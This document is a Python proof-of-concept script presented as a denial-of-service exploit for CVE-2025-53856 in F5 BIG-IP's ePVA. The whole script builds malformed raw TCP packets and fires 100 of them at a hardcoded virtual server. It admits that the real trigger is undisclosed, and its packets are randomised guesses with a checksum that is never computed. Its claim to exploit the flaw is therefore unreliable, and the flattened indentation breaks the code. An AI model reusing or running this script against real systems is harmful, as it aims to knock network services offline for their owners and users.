# CVE-2025-53856 PoC - F5 BIG-IP ePVA DoS
# Vulnerability: Undisclosed traffic causes TMM termination when ePVA is enabled
# Affected: F5 BIG-IP platforms with ePVA chip (see K12837)
# CVSS: 7.5 (HIGH) - AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
import socket
import struct
import random
import time
TARGET_HOST = "192.168.1.100" # BIG-IP virtual server IP
TARGET_PORT = 443 # Target service port (e.g., HTTPS)
def generate_malicious_packet():
"""
Generate crafted network traffic targeting ePVA-accelerated
virtual server/NAT/SNAT objects to trigger TMM termination.
The specific malformed packet pattern exploits the ePVA
hardware acceleration processing flaw.
"""
# Craft IP header
ip_header = struct.pack(
'!BBHHHBBH4s4s',
0x45, # Version (4) + IHL (5)
0x00, # DSCP/ECN
random.randint(40, 1500), # Total length
random.randint(1, 65535), # Identification
0x0000, # Flags + Fragment offset
64, # TTL
6, # Protocol (TCP)
0, # Checksum (calculated later)
socket.inet_aton("10.0.0.1"), # Source IP
socket.inet_aton(TARGET_HOST) # Destination IP
)
# Craft TCP header with anomalous flags/options to trigger ePVA bug
tcp_header = struct.pack(
'!HHIIBBHHH',
random.randint(1024, 65535), # Source port
TARGET_PORT, # Destination port
random.randint(1, 4294967295), # Sequence number
random.randint(0, 4294967295), # Acknowledgment number
0xFF, # Data offset + reserved (anomalous)
0xFF, # Flags (all flags set - anomalous)
65535, # Window size (maximum)
0, # Checksum
0 # Urgent pointer
)
# Malformed payload designed to confuse ePVA hardware processing
payload = bytes([random.randint(0, 255) for _ in range(random.randint(1, 64))])
return ip_header + tcp_header + payload
def exploit():
"""
Send crafted packets to trigger TMM termination via ePVA vulnerability.
"""
print(f"[*] Targeting F5 BIG-IP at {TARGET_HOST}:{TARGET_PORT}")
print("[*] CVE-2025-53856 - ePVA DoS Exploit")
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
try:
for i in range(100):
packet = generate_malicious_packet()
sock.sendto(packet, (TARGET_HOST, 0))
print(f"[+] Sent crafted packet {i+1}/100")
time.sleep(0.01)
print("[!] Exploit completed - check if TMM has terminated")
except PermissionError:
print("[-] Need root/admin privileges for raw sockets")
finally:
sock.close()
if __name__ == "__main__":
exploit()